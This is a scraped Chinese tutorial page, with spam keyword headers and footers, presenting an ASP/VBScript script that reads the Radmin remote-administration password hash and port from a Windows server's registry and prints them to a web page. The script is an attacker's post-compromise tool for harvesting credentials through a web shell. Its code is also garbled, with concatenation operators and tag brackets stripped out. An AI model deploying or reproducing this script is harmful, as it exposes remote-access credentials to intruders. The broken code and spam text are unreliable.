婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > vbs 獲取radmin注冊表中的信息

vbs 獲取radmin注冊表中的信息
熱門標(biāo)簽：墨西哥地圖標(biāo)注app 企業(yè)400電話辦理價錢低 外呼系統(tǒng)群 龍巖400電話申請 上海辦理400電話選號 外呼系統(tǒng)說話聲音小怎么辦 智云億呼電話機(jī)器人 機(jī)器人打電銷適用于美業(yè)嗎 天津智能外呼系統(tǒng)排名

%
'========================================Main======================================
Set WSH= Server.CreateObject("Wscript.shell")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
ParameterArray=WSH.Regread(RadminPath  Parameter )
Response.write "The Result of Radmin Hash"
Response.write "br>br>"
Response.write Parameter":"
'=========== ReadPassWord =========
If IsArray(ParameterArray) Then
For i = 0 To UBound(ParameterArray)
If   Len (hex(ParameterArray(i)))=1 Then 
strObj = strObj  "0"  CStr(Hex(ParameterArray(i)))
Else
strObj = strObj  Hex(ParameterArray(i))
End If 
Next
response.write Lcase(strobj)
Else
response.write "Error! Can't Read!"
End If
Response.write "br>br>"
'=========== ReadPort =========
PortArray=WSH.REGREAD(RadminPath  Port )
If IsArray(PortArray) Then 
Response.write Port ":" 
Response.write hextointer(CStr(Hex(PortArray(1)))CStr(Hex(PortArray(0))))
Else 
Response.write "Error! Can't Read!"
End If
'=============hex TO int==========
Function hextointer(strin) 
Dim i, j, k, result 
result = 0 
For i = 1 To Len(strin) 
If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then 
j = 15 
End If 
If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then 
j = 14 
End If 
If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then 
j = 13 
End If 
If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then 
j = 12 
End If 
If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then 
j = 11 
End If 
If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then 
j = 10 
End If 
If Mid(strin, i, 1) = "9" And Mid(strin, i, 1) >= "0" Then 
j = CInt(Mid(strin, i, 1)) 
End If 
For k = 1 To Len(strin) - i 
j = j * 16 
Next 
result = result + j 
Next 
hextointer = result 
End Function
'================ End ==========
%>

標(biāo)簽：阜新 承德 麗水 青島 齊齊哈爾 鄂爾多斯 黃山 錫林郭勒盟

巨人網(wǎng)絡(luò)通訊聲明：本文標(biāo)題《vbs 獲取radmin注冊表中的信息》，本文關(guān)鍵詞  vbs,獲取,radmin,注冊表,中的,；如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題，煩請?zhí)峁┫嚓P(guān)信息告之我們，我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò)，涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《vbs 獲取radmin注冊表中的信息》相關(guān)的同類信息！
  • 本頁收集關(guān)于vbs 獲取radmin注冊表中的信息的相關(guān)信息資訊供網(wǎng)民參考！
    • 推薦文章
    主站蜘蛛池模板： 左贡县| 互助| 贺州市| 辉南县| 鱼台县| 遂溪县| 论坛| 关岭| 巴青县| 定日县| 聂拉木县| 永川市| 中西区| 方城县| 三门峡市| 维西| 隆化县| 武安市| 玛沁县| 紫阳县| 东平县| 榆树市| 屏东市| 嘉祥县| 徐水县| 麻城市| 塘沽区| 贡嘎县| 东宁县| 贡嘎县| 南陵县| 连南| 秭归县| 栾城县| 上林县| 上蔡县| 颍上县| 孝昌县| 页游| 随州市| 明溪县|